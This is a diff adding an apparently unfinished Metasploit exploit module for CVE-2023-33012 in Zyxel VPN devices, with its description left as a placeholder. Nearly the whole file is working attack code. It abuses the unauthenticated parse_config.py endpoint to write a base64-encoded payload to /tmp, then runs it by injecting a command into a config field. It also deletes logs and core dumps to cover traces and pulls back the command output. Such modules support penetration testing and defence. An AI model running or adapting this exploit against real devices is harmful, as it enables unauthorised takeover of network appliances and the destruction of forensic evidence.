1
+ ##
2
+ # This module requires Metasploit: https://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ class MetasploitModule < Msf ::Exploit ::Remote
7
+ Rank = ExcellentRanking
8
+
9
+ include Msf ::Exploit ::Remote ::HttpClient
10
+ include Msf ::Exploit ::FileDropper
11
+
12
+ def initialize ( info = { } )
13
+ super (
14
+ update_info (
15
+ info ,
16
+ 'Name' => 'Zyxel parse_config.py Command Injection' ,
17
+ 'Description' => %q(
18
+ This here module exploits Zyxel
19
+ ) ,
20
+ 'Author' =>
21
+ [
22
+ 'SSD Secure Disclosure technical team' , # discovery
23
+ 'jheysel-r7' # module
24
+ ] ,
25
+ 'References' =>
26
+ [
27
+ [ 'URL' , 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/' ] ,
28
+ [ 'CVE' , '2023-33012' ]
29
+ ] ,
30
+ 'License' => MSF_LICENSE ,
31
+ 'Platform' => [ 'linux' , 'unix' ] ,
32
+ 'Privileged' => true ,
33
+ 'Arch' => [ ARCH_CMD ] ,
34
+ 'Targets' =>
35
+ [
36
+ [ 'Automatic Target' , { } ]
37
+ ] ,
38
+ 'DefaultTarget' => 0 ,
39
+ 'DisclosureDate' => '' ,
40
+ 'Notes' =>
41
+ {
42
+ 'Stability' => [ CRASH_SAFE , ] ,
43
+ 'SideEffects' => [ ARTIFACTS_ON_DISK , CONFIG_CHANGES ] ,
44
+ 'Reliability' => [ REPEATABLE_SESSION , ] ,
45
+ } ,
46
+ )
47
+ )
48
+
49
+ # register_options(
50
+ # [
51
+ #
52
+ # ],
53
+ # )
54
+ end
55
+
56
+ # def fingerprint_method1
57
+ #
58
+ # end
59
+ #
60
+ # def fingerprint_method2
61
+ #
62
+ # end
63
+
64
+ def check
65
+ res = send_request_cgi ( {
66
+ 'method' => 'GET' ,
67
+ 'uri' => normalize_uri ( target_uri . path , 'ext-js' , 'app' , 'common' , 'zld_product_spec.js' ) ,
68
+ } )
69
+ return CheckCode ::Unknown if res . nil?
70
+
71
+ if res . code == 200 && res . body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w +)/
72
+ return CheckCode ::Appears ( "Detected #{ Regexp . last_match ( 1 ) } ." ) if Rex ::Version . new ( Regexp . last_match ( 1 ) ) < Rex ::Version . new ( '5.36' )
73
+ CheckCode ::Safe
74
+ end
75
+ end
76
+
77
+ def exploit
78
+ # Command injection has a 0x14 byte length limit so keep the file name smol.
79
+ # The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection. #
80
+ filename = rand_text_alpha ( 1 )
81
+
82
+ command = payload . encoded
83
+ command += <<-CMD
84
+ 2>/var/log/ztplog 1>/var/log/ztplog
85
+ (sleep 10 && /bin/rm -rf /tmp/#{ filename } .qsr /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
86
+ CMD
87
+ command = "echo #{ Rex ::Text . encode_base64 ( command ) } | base64 -d > /tmp/#{ filename } .qsr ; . /tmp/#{ filename } .qsr"
88
+
89
+ file_write_pload = "option proto vti\n "
90
+ file_write_pload += "option #{ command } ;exit\n "
91
+ file_write_pload += "option name 1\n "
92
+
93
+ config = Base64 . strict_encode64 ( file_write_pload )
94
+ data = { "config" => config , "fqdn" => "\x00 " }
95
+ print_status ( 'Attempting to upload the payload via QSR file write...' )
96
+
97
+ file_write_res = send_request_cgi ( {
98
+ 'method' => 'POST' ,
99
+ 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'parse_config.py' ) ,
100
+ 'data' => data . to_s ,
101
+ } )
102
+ fail_with ( Failure ::UnexpectedReply , 'The response from the target indicates the payload transfer was unsuccessful' ) if file_write_res && file_write_res . body . include? ( 'ParseError: 0xC0DE0005' )
103
+ register_files_for_cleanup ( "/tmp/#{ filename } .qsr" )
104
+ print_good ( 'File write was successful.' )
105
+
106
+ cmd_injection_pload = "option proto gre\n "
107
+ cmd_injection_pload += "option name 0\n "
108
+ cmd_injection_pload += "option ipaddr ;. /tmp/#{ filename } .qsr;\n "
109
+ cmd_injection_pload += "option netmask 24\n "
110
+ cmd_injection_pload += "option gateway 0\n "
111
+ cmd_injection_pload += "option localip #{ Faker ::Internet . private_ip_v4_address } \n "
112
+ cmd_injection_pload += "option remoteip #{ Faker ::Internet . private_ip_v4_address } \n "
113
+ config = Rex ::Text . encode_base64 ( cmd_injection_pload )
114
+ data = { "config" => config , "fqdn" => "\x00 " }
115
+
116
+ cmd_injection_res = send_request_cgi ( {
117
+ 'method' => 'POST' ,
118
+ 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'parse_config.py' ) ,
119
+ 'data' => data . to_s ,
120
+ } )
121
+
122
+ fail_with ( Failure ::UnexpectedReply , 'The response from the target indicates the payload transfer was unsuccessful' ) if cmd_injection_res && cmd_injection_res . body . include? ( 'ParseError: 0xC0DE0005' )
123
+
124
+ #Unecessary if running a fetch payload though adding for testing
125
+ cmd_ouput_res = send_request_cgi ( {
126
+ 'method' => 'GET' ,
127
+ 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'dumpztplog.py' ) ,
128
+ } )
129
+
130
+ output = cmd_ouput_res . body . split ( "</head>\n <body>" ) [ 1 ]
131
+ output = output . split ( "</body>\n </html>" ) [ 0 ]
132
+ output = output . gsub ( "\n \n <br>" , "" )
133
+ output = output . gsub ( "[IPC]IPC result: 1\n " , "" )
134
+ print_good ( "Command output: #{ output } " )
135
+
136
+ end
137
+ end
0 commit comments